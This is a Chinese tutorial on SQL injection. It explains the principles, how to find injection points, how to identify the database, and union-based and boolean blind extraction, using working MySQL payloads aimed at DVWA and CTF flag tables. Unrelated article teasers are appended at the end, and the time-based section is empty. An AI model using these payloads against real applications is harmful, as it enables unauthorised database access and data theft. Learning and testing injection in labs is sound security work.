Web安全:SQL注入
一、SQL注入三要素
1、用户可以对输入的参数值进行修改。
2、后端不对用户输入的参数值进行严格过滤。
3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。
二、SQL注入原理
简单来说,用户输入的值会被插入到SQL语句中,然后发送到数据库执行,当用户输入的内容经过引号或者双引号等东西的闭合,造成用户输入的内容被解析成SQL指令去执行。
例如:用户输入的参数会被插入到$id上。
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
而用户可以通过输入参数将SQL语句修改成一下语句,进而在数据库运行获得想要的数据。
"SELECT * FROM users WHERE id=-1 union select 1,database(),version() LIMIT 0,1"
SQL 注入攻击:通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL 语句进而执行攻击者所要的操作。
SQL 注入主要原因:程序没有细致地过滤用户输入的数据,致使非法数据入侵系统,出现开发人员预期外的事件。
三、SQL分类

四、SQL注入流程
1.判断SQL注入点
表单提交:POST 请求、GET 请求
URL 参数提交:GET 请求参数
HTTP 请求头部:Referer(IP地址源)、User_Agent(用户代理UA注入)、X-Forwared-ForCookie(XFF注入)
2、判断数据库类型
判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断
端口扫描
如果可以使用Nmap对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432
根据注释符判断
“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)
“null”和“%00”是Access支持的注释。“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
根据其返回的错误类型
ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended

MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
SQL Server

基于数据库特性
某些函数为数据库所特有,可以判断通过执行特殊的函数来判断数据库类型。

3.判断参数类型
判断闭合方式
使用双引号”、单引号‘、括号)等,判断参数的闭合方式,如果是双引号,则在参数键入一个双引号会报错。如果是单引号或者括号,则对应键入单引号或括号会报错。
数值型
数值型不带任何符号,键入任何符号都会报错。
select * from user where username = 1;
字符型
字符型带符号,需要键入相对应的符号,进行闭合方式的判断。
select * from user where username = "zhangsan";
闭合:可以使得原语句参数位置结束,方便我们插入新恶意语句,使得恶意语句被当作SQL语句来命令执行。
4.利用注入方式
MYSQL的系统表
information_schema
select * from information_schema.COLUMNS
//查询系统表结构
| 表名 | 注释 |
| schemata | 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表 |
| tables | 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema、表类型、表引擎、创建时间等信息。show tables from schemaname的结果取之此表 |
| columns | 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表 |
MYSQL的注释方式
--%20(url编码%20相当于空格,相当于--+)、#(在url里不可用)
联合注入
通过修改闭合参数,添加修改查询SQL语句,以此获得目标信息。
1.联合查询语句构造步骤:
a.确定查询的列数:通过构造不同的注入语句并观察返回结果的变化,逐渐增加联合查询语句中的列数,直到不再返回错误或异常。
通过Order获取确定的列数,一直尝试直到不报错。
?id=2' order by 3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
b.确定可用的列:通过构造注入语句并使用 UNION SELECT 语句,逐个测试每个列,以确定哪些列返回了有效的数据。
通过Select获取有回显的有效列
?id=-2' union select 1,2,3 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

可以发现具有回显的有效列为2和3。
c.获取表数据:使用注入语句和SELECT 语句来获取表中的数据。
2.联合查询语句
确定了具体的列数和有效回显列后,就可编写具体的联合查询语句获得相关的数据。
获取数据库名和版本信息;
?id=-1' union select 1,database(),version() --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

获取表名信息,其中group_concat(table_name)是一个MySQL函数,用于将查询结果中的多个行合并成一个字符串,并以逗号分隔;
?id=1' union select 1,group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database()#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

获取表内的列名信息
1' union select 1,group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA='dvwa'#
//1后的单引号需要根据闭合情况作出修改,#为注释将SQL语句参数后面部分清除。

布尔盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
1.盲注思路
盲注需要考虑多种情况,一般思路如下:
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
2.盲注原理
正确的情况和错误的情况返回的页面不一样
?id=3' and 1=1 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为真页面
?id=3' and 1=2 --+
//1后的单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。

上面是结果为假页面
通过穷举,验证真假,可以猜出数据库的信息。
3.盲注常用函数
substr(str,from,length):返回从下标为from截取长度为length的str子串。首字符下标为1。
length(str):返回str串长度
4.盲注步骤
爆数据库名长度
首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功
?id=1' and length(database())>1 --+
?id=1' and length(database())>2 --+
?id=1' and length(database())>3 --+
....
//单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
这里推荐用二分查找法找出具体的长度信息

根据库名长度爆库名
获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符。注意substr(database,i,1),i从1开始(第i个字符)
?id=1' and substr(database(),1,1)='a' --+//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
这部分可以写脚本进行自动化测试。
对当前库爆表数量
下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环。
?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=1 --+//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据库名和表数量爆表名长度
得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1 表示从第0条记录开始,取出1条结果。MYSQL中索引从0开始,所以取出的是第0条记录。
//要有两个括号
根据表名长度爆表名
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名。
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
//limit 0,1:其中0可修改,用于遍历所有表,从0开始,到表数量-1。
//substr(str,from,length):from可以从1遍历到表长度,length固定为1。
//再遍历等于a到z
对表爆列数量
操作同对当前库爆表数量的步骤,只是要查询的表为information_schema.columns。
?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 --+
//flag要改为上一步获得的表名
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,遍历0~列数-1
?id=1' and length((select COLUMN_NAME from information_schema.columns where table_schema='dvwa' and table_name='users' limit i,1))=1 --+
//1后单引号需要根据闭合情况作出修改,--+为注释将SQL语句参数后面部分清除。
根据列名长度爆列名
操作同对当前库爆表名的步骤
?id=1' and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit i,1),j,1)='a' --+
//i遍历列0~列数-1
//j遍历列各个字符1~列长度
根据列名爆数据
flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束。
?id=1' and substr((select flag from sqli.flag limit i,1),j,1)='}' --+
//遍历flag列的每一行查看是否符合flag的格式,符合即可得出答案。
//i从0~行数-1
//j从1到字符串长度
时间盲注
相关文章:
Web安全:SQL注入
一、SQL注入三要素 1、用户可以对输入的参数值进行修改。 2、后端不对用户输入的参数值进行严格过滤。 3、用户修改后的参数值可以被带入后端中成功执行,并返回一定结果。 二、SQL注入原理 简单来说,用户输入的值会被插入到SQL语句中,然后…...
【LLM-驯化】成功配置多模态大模型InternLM-XComposer微调环境
【LLM-驯化】成功配置多模态大模型InternLM-XComposer微调环境 本次修炼方法请往下查看 🌈 欢迎莅临我的个人主页 👈这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合,智慧小天地! 🎇 免费获取相关内容文档关注&am…...
C++·继承
面向对象编程有三大特性:封装、继承、多态。 封装我们前几节已经讲过了,第一层封装是将一个数据和方法都封装到一个类中,想让用户访问的定义成公有,不想让用户访问的定义成私有,第二层封装就类似于迭代器、适配器的思想…...
2024最适合小白的Midjourney教程,值得收藏!
一、Midjourney 的提示词 1、提示可以包括一个或多个图像 URL、多个文本短语以及一个或多个参数 1)Image Prompts(图像提示):可以将图像 URL 添加到提示中以影响最终结果的样式和内容。图像 URL 始终出现在提示的前面。文件应以.…...
MVC 返回集合方法,以及分页
返回一个数据集方法 返回多个数据集方法 》》定义一个Model public class IndexMoel {public List<UserGroup> UserGroup{get;set;}public List<User> User{get;set;}}》》》控制器 //db 是 EF 中的上下文 var listnew IndexModel(); list.UserGroupdb.UserGro…...
昇思MindSpore学习笔记6-05计算机视觉--SSD目标检测
摘要: 记录MindSpore AI框架使用SSD目标检测算法对图像内容识别的过程、步骤和方法。包括环境准备、下载数据集、数据采样、数据集加载和预处理、构建模型、损失函数、模型训练、模型评估等。 一、概念 1.模型简介 SSD目标检测算法 Single Shot MultiBox Detecto…...
vb.netcad二开自学笔记9:界面之ribbon
一个成熟的软件怎么能没有ribbon呢,在前面的框架基础上再加个命令AddRibbon <CommandMethod("AddRibbon")> Public Sub AddRibbon() Dim ribbonControl As RibbonControl ComponentManager.Ribbon Dim tab As RibbonTab New RibbonTab() tab.Tit…...
学习笔记——动态路由——OSPF链路状态通告(LSA)
十、OSPF链路状态通告(LSA) 1、链路状态通告简介 (1)LAS概述 链路状态通告(Link State Advertisement,LSA)是路由器之间链路状态信息的载体。LSA是LSDB的最小组成单位,LSDB由一条条LSA构成的。是OSPF中计算路由的重要依据。 LSA用于向其它邻接OSPF路…...
模拟防止重复提交
gitee地址(需要自取)AopProxy重复提交: 防止重复提交 (gitee.com) RestController public class SubmissionController {Autowiredprivate SubmissionService submissionService;private static Jedis jedis new Jedis("localhost",6379);pr…...
C++:strcut与class的区别
在C中,struct和class在语法上非常相似,但它们之间确实存在一些关键的差异,这些差异主要体现在成员的默认访问权限和继承的默认方式上。然而,从更广泛的角度来看,它们都可以用来定义自定义数据类型,包含数据…...
科研绘图系列:R语言两组数据散点分布图(scatter plot)
介绍 展示两组数据的散点分布图是一种图形化表示方法,用于显示两个变量之间的关系。在散点图中,每个点代表一个数据点,其x坐标对应于第一组数据的值,y坐标对应于第二组数据的值。以下是散点图可以展示的一些结果: 线性关系:如果两组数据之间存在线性关系,散点图将显示出…...
【EasyExcel】根据单元格内容自动调整列宽
1.自定义Excel列宽样式策略类 import com.alibaba.excel.enums.CellDataTypeEnum; import com.alibaba.excel.metadata.Head; import com.alibaba.excel.metadata.data.WriteCellData; import com.alibaba.excel.write.metadata.holder.WriteSheetHolder; import com.alibaba.e…...
半月内笔者暂不写时评文
今晨,笔者在刚恢复的《新浪微博》发布消息表态如下:“要开会了!今起,半月内笔者暂不写敏感时评文,不让自媒体网管感到压力,也是张驰有度、识时务者为俊杰之正常选择。野钓去也。” 截图:来源笔者…...
Python面试题:如何在 Python 中解析 XML 文件?
在 Python 中解析 XML 文件可以使用内置的 xml.etree.ElementTree 模块。以下是一个示例,展示了如何使用这个模块解析 XML 文件: 读取 XML 文件: import xml.etree.ElementTree as ET# 读取 XML 文件 tree ET.parse(example.xml) root tr…...
3033.修改矩阵
1.题目描述 给你一个下标从 0 开始、大小为 m x n 的整数矩阵 matrix ,新建一个下标从 0 开始、名为 answer 的矩阵。使 answer 与 matrix 相等,接着将其中每个值为 -1 的元素替换为所在列的 最大 元素。 返回矩阵 answer 。 示例 1: 输入&am…...
解决MCM功率电源模块EMC的关键
对MCM功率电源而言,由于其工作在几百kHz的高频开关状态,故易成为干扰源。电磁兼容性EMC(Electro Magnetic Compatibility),是指设备或系统在其电磁环境中符合要求运行并不对其环境中的任何设备产生无法忍受的电磁干扰的…...
在conda的环境中安装Jupyter及其他软件包
Pytorch版本、安装和检验 大多数软件包都是随Anaconda安装的,也可以根据需要手动安装一些其他软件包。 目录 创建虚拟环境 进入虚拟环境 安装Jupyter notebook 安装matplotlib 安装 pandas 创建虚拟环境 基于conda包的环境创建、激活、管理与删除http://t.cs…...
spark中的floor函数
在Spark中,floor函数是一种数学函数,用于返回不大于给定数值的最大整数。具体作用如下: 1. 数值操作: floor函数会将每个元素向下取整到最接近的整数。例如,对于浮点数或双精度数值,它会返回不大于该数值的…...
最简单的Docker离线安装教程
最简单的Docker离线安装教程 方式一 RPM 包方式1. 在线下载 RPM 包2. 将 RPM 包拷贝到安装机器3. 安装4. 启动 方式二 二进制安装方式(推荐)1. 下载包2. 将包进行解压授权3. 注册 systemd4. 自启和启动 一直以来在线安装 docker 到服务器上是非常方便的&…...
如何在 Python 中创建一个类似于 MS 计算器的 GUI 计算器
问题背景 假设我们需要创建一个类似于微软计算器的 GUI 计算器。这个计算器应该具有以下功能: 能够显示第一个输入的数字。当按下运算符时,输入框仍显示第一个数字。当按下第二个数字时,第一个数字被替换。 解决方案 为了解决这个问题&am…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...
【Veristand】Veristand环境安装教程-Linux RT / Windows
首先声明,此教程是针对Simulink编译模型并导入Veristand中编写的,同时需要注意的是老用户编译可能用的是Veristand Model Framework,那个是历史版本,且NI不会再维护,新版本编译支持为VeriStand Model Generation Suppo…...
